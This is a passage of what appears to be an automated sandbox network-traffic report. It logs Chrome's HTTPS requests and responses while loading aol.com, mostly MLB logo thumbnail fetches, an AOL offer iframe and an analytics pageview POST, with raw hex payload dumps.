2024-05-23 22:34:50 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500368 Cache-Control: public, max-age=2592000 Cache-Tag: 278951509263632333371855113311772957419,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21981-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 278951509263632333371855113311772957419,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "4b09cfd000b1a22a1d9431f33281bb8f" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:24:04 GMT Server: ECAcc (lhd/35EF) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2029,owidth=50,oheight=50,obytes=2563,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000073-IAD X-Timer: S1711411322.471501,VS0,VE1 Content-Length: 2029 Connection: close
2024-05-23 22:34:50 UTC	2029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff f2 f4 f5 ff ff ff ff ff ff ef f2 f4 ff ff ff ff ff ff f7 f9 fa f8 f9 fa ff ff ff f7 f9 fa ff ff ff f9 fa fb ff ff ff ff ff ff fd fd fe ff ff ff fe fe fe fc fc fc ee f1 f3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa fb fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 f7 f8 fd fe fe ff ff ff ff ff ff fc fd fd fc fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f9 fa fe fe fe fe ff ff ff ff ff ff ff ff f6 f7 f8 ff ff ff f7 f9 f9 ff ff ff f2 f4 f6 fd fd fe 01 01 01 ff ff ff ff ff ff fd fe fe ff ff ff ff ff ff ff ff ff 00 00 00 ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.6	49888	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	928	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FCxYOsaj1HyPgJWfNqhuFcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fbluejays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=7415fbceb2d3013c9826cc01a7c86cbbca97a6ab HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500380 Cache-Control: public, max-age=2592000 Cache-Tag: 256743150668657020218228501920213432638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100030-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 5 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 256743150668657020218228501920213432638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "66e132160005d5d525027f687d276e02" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:11 GMT Server: ECAcc (lhd/35D9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1743,owidth=50,oheight=50,obytes=1994,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100130-IAD X-Timer: S1711411311.804796,VS0,VE2 Content-Length: 1743 Connection: close
2024-05-23 22:34:50 UTC	1743	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 fa fc ff ff ff ff ff ff ff ff ff f7 9d 98 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc d9 d8 fb d1 cf ff ff ff fd e9 e8 fc db d9 fe f0 ef f9 af ab fa c6 c3 fd e0 de ff ff ff ff ff ff ff ff ff fe f4 f3 fa c3 c0 fc Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.6	49892	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	1156	OUT	GET /offers/aolHomepage/stickyFooter HTTP/1.1 Host: membernotifications.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22
2024-05-23 22:34:50 UTC	538	IN	HTTP/1.1 200 Strict-transport-security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade content-security-policy: frame-ancestors https://www.aol.com Cache-control: no-cache, no-store, private, max-age=0 Content-Type: text/html;charset=UTF-8 Content-Length: 5185 Date: Thu, 23 May 2024 22:34:50 GMT Age: 0 Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e 4f 66 66 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 73 73 2f 61 6e 61 6c 79 74 69 63 73 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Offer</title><script src="https://s.yimg.com/ss/analytics3.js"></script><link rel="stylesheet" href="https://s.y
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 20 74 69 74 6c 65 3d 22 53 61 79 20 67 6f 6f 64 62 79 65 20 74 6f 20 61 64 73 20 69 6e 20 79 6f 75 72 20 69 6e 62 6f 78 22 20 20 64 61 74 61 2d 79 6c 6b 3d 22 73 6c 6b 3a 63 74 61 2d 70 72 69 6d 61 72 79 3b 22 20 09 0a 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 75 74 69 6c 69 74 69 65 73 2f 61 64 2d 66 72 65 65 2d 6d 61 69 6c 3f 6e 63 69 64 3d 6d 62 72 5f 72 75 73 61 63 71 64 73 70 30 30 30 30 30 36 39 31 22 0a 20 20 20 20 20 20 20 20 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 62 67 2d 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: title="Say goodbye to ads in your inbox" data-ylk="slk:cta-primary;" href="https://www.aol.com/products/utilities/ad-free-mail?ncid=mbr_rusacqdsp00000691" target="_blank"> <img class="bg-image" srcset="https://s.yim
2024-05-23 22:34:50 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 79 52 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 61 64 64 4d 6f 64 75 6c 65 73 57 69 74 68 56 69 65 77 61 62 69 6c 69 74 79 28 5b 22 43 54 41 5f 4c 69 6e 6b 22 2c 20 22 43 6c 6f 73 65 5f 4c 69 6e 6b 22 5d 2c 20 32 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 61 64 64 20 6d 6f 64 75 6c 65 73 20 64 6f 6e 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 35 30 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 69 66 20 28 69 6d 70 72 65 73 73 69 6f 6e 55 72 6c 29 20 Data Ascii: setTimeout(function() { myRapidInstance.addModulesWithViewability(["CTA_Link", "Close_Link"], 2); console.log("add modules done"); }, 500); } catch (e) { } } if (impressionUrl)
2024-05-23 22:34:50 UTC	1285	IN	Data Raw: 67 65 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 76 61 72 20 53 41 46 45 5f 4f 52 49 47 49 4e 5f 50 41 54 54 45 52 4e 20 3d 20 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 5b 5c 77 5c 2e 5c 2d 5d 7b 31 2c 31 32 38 7d 5c 2e 28 3f 3a 61 6f 6c 7c 79 61 68 6f 6f 7c 79 69 6d 67 29 5c 2e 63 6f 6d 28 3f 3a 5c 3a 5c 64 7b 31 2c 37 7d 29 3f 24 2f 3b 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 4d 65 73 73 61 67 65 28 6d 73 67 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 21 6d 73 67 20 7c 7c 20 21 6d 73 67 2e 6f 72 69 67 69 6e 20 7c 7c 20 21 28 53 41 46 45 5f 4f 52 49 47 49 4e 5f 50 41 54 54 45 52 4e 2e 74 65 73 74 28 6d 73 67 2e 6f 72 69 67 69 6e 29 29 20 7c 7c 20 28 6d 73 67 2e 73 6f 75 72 63 65 20 21 3d 3d 20 77 69 6e 64 6f 77 2e 70 61 Data Ascii: ge); } var SAFE_ORIGIN_PATTERN = /^https:\/\/[\w\.\-]{1,128}\.(?:aol\|yahoo\|yimg)\.com(?:\:\d{1,7})?$/; function handleMessage(msg) { if (!msg \|\| !msg.origin \|\| !(SAFE_ORIGIN_PATTERN.test(msg.origin)) \|\| (msg.source !== window.pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.6	49889	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	933	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fht6qg4wc_Ijk8ewC5ANZqw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fbraves_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7194e9a47aee36fa884fbecaefb81f1077067a9a HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1515	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1934358 Cache-Control: public, max-age=2592000 Cache-Tag: 188256651091467825130697138416216745234,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100037-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 188256651091467825130697138416216745234,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "ee2bb39df9b03d451e8eecc3a0a0cdcf" Expiration: expiry-date="Tue, 10 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Mar 2024 18:59:12 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35D9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2080,owidth=50,oheight=50,obytes=2606,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100031-IAD X-Timer: S1711372532.041343,VS0,VE1 Content-Length: 2080 Connection: close
2024-05-23 22:34:50 UTC	2080	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff f7 f8 fa ff ff ff ff ff ff fb fc fc fb fc fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 f2 f4 ff ff ff ed ee f2 fc fc fd ff ff ff ff ff ff ea ec ef ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe 99 a9 bb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 f9 fa ff ff ff ff ff ff fd fd fe ec ee f1 ff ff ff ff ff ff ff ff ff ef f0 f3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f5 f6 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 1e Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.6	49897	34.95.69.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	586	OUT	POST /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive Content-Length: 558 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	558	OUT	Data Raw: 7b 22 61 63 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 45 76 65 6e 74 73 22 2c 22 66 22 3a 22 70 61 67 65 76 69 65 77 22 2c 22 6a 73 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 31 36 35 30 33 36 38 39 31 31 35 2c 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 38 2c 22 61 63 74 69 6f 6e 5f 67 72 6f 75 70 5f 69 64 22 3a 22 39 37 31 32 33 61 32 34 2d 65 36 37 34 2d 63 63 37 63 2d 31 66 36 35 2d 37 66 34 32 36 34 65 63 36 31 37 36 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 34 2e 32 37 2e 33 2d 61 71 2d 62 31 33 30 32 32 64 30 5f 34 37 62 66 5f 34 35 65 65 5f 62 63 61 64 5f 38 33 34 33 62 33 66 31 65 38 36 62 5f 70 5f 34 35 22 2c 22 74 6f 70 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 Data Ascii: {"action_name":"Events","f":"pageview","jstimestamp":1716503689115,"elapsed_time":18,"action_group_id":"97123a24-e674-cc7c-1f65-7f4264ec6176","version":"4.27.3-aq-b13022d0_47bf_45ee_bcad_8343b3f1e86b_p_45","topLocation":"https://www.aol.com/","referrer":"
2024-05-23 22:34:50 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Thu, 23 May 2024 22:34:50 GMT Content-Type: application/octet-stream Content-Length: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Origin,Accept,X-API-Key Access-Control-Expose-Headers: Content-Length,Content-Range Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.6	49895	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	699	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2s1JVbQT4jK7vnmSdH51yw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190307%2F500x500%2Frays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=878df353f7cafc11bf0dc707a2dea4918f56cd38 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500369 Cache-Control: public, max-age=2592000 Cache-Tag: 390457934859267373911714328072974130425,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21941-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 390457934859267373911714328072974130425,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "9990cbe3d42806caa253e5900eaca1e3" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 17:28:08 GMT Server: ECAcc (lhd/35C7) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1875,owidth=50,oheight=50,obytes=2394,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000029-IAD X-Timer: S1711411322.460739,VS0,VE2 Content-Length: 1875 Connection: close
2024-05-23 22:34:51 UTC	1875	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c bf d9 f1 ff ff ff 8f bc e6 ff ff ff b9 d5 f0 a7 c4 d0 ff ff ff ff ff ff 2f 4c 75 8f bc e6 7c 8f a9 c4 db f2 9d c4 e9 f9 fb fc a1 ae c1 d2 d8 e1 96 c0 e8 8f bc e6 90 bc e7 ff ff ff 90 bc e6 95 a4 b9 ff ff ff a2 b3 c7 2a 49 73 b1 bc cc c2 cb d8 bf d5 eb c2 da f0 bc d7 f0 9a c2 e9 e4 e8 ed f7 f8 fa aa cd ed ff ff ff 66 7c 9a d0 e1 f2 df e9 f3 ba d6 ef b4 d2 ee ff ff ff 94 bf e7 b7 c7 da ba cd e0 ff ff ff cb df f3 c6 cf db fe ff ff b9 c3 d1 bc d7 f1 e4 ef f9 96 c1 e8 d2 e4 f4 ea f2 fa c9 d3 de ff ff ff 8f bc e6 da df e7 b5 d3 ee a8 b5 c7 b3 d2 ee ad ce ed 09 2c 5c d9 df e6 82 94 ad c5 cd d8 8f bc e6 ff ff ff e8 eb f0 90 bc e6 9f Data Ascii: PNGIHDR22)xPLTEGpL/Lu\|*Isf\|,\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.6	49896	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	697	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F7K_tu.SMGj_akw2SJ_wa7Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fmariners_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2b8a377cb94691fc5f98ff850b130d1f2ccf1ea3 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895569 Cache-Control: public, max-age=2592000 Cache-Tag: 424829729597125008487244517310517145766,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000163-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 74 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 424829729597125008487244517310517145766,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "0a655b831508393a98eb7a326dab2e06" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:53 GMT Server: ECAcc (lhd/35E7) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2128,owidth=50,oheight=50,obytes=2852,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711411322.461706,VS0,VE3 Content-Length: 2128 Connection: close
2024-05-23 22:34:51 UTC	2128	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c 00 58 58 00 58 58 00 58 58 02 46 55 01 58 58 00 57 57 00 58 58 4c 7c 81 01 4e 56 00 58 58 00 58 58 00 57 58 04 33 53 00 58 58 00 58 58 00 54 57 00 58 58 00 58 58 00 58 58 00 58 58 00 57 57 00 58 58 00 57 58 00 58 58 00 51 57 00 58 58 00 58 58 00 57 57 0e 2f 57 04 2e 53 00 57 57 00 58 58 00 58 58 00 58 58 00 58 58 ff ff ff 00 58 58 00 58 58 00 58 58 00 58 58 ff ff ff 00 58 58 05 25 50 00 58 58 00 58 58 05 27 52 00 58 58 06 27 52 ff ff ff ff ff ff 05 29 52 ff ff ff 06 29 53 05 26 52 07 3c 55 00 56 57 05 3e 56 00 58 58 00 58 58 05 43 56 05 28 52 06 2c 53 10 48 5d 00 58 58 06 27 52 04 24 4f 04 4b 57 04 3b 54 00 58 58 00 58 58 ff Data Ascii: PNGIHDR22)xPLTEGpLXXXXXXFUXXWWXXL\|NVXXXXWX3SXXXXTWXXXXXXXXWWXXWXXXQWXXXXWW/W.SWWXXXXXXXXXXXXXXXXXX%PXXXX'RXX'R)R)S&R<UVW>VXXXXCV(R,SH]XX'R$OKW;TXXXX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.6	49899	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
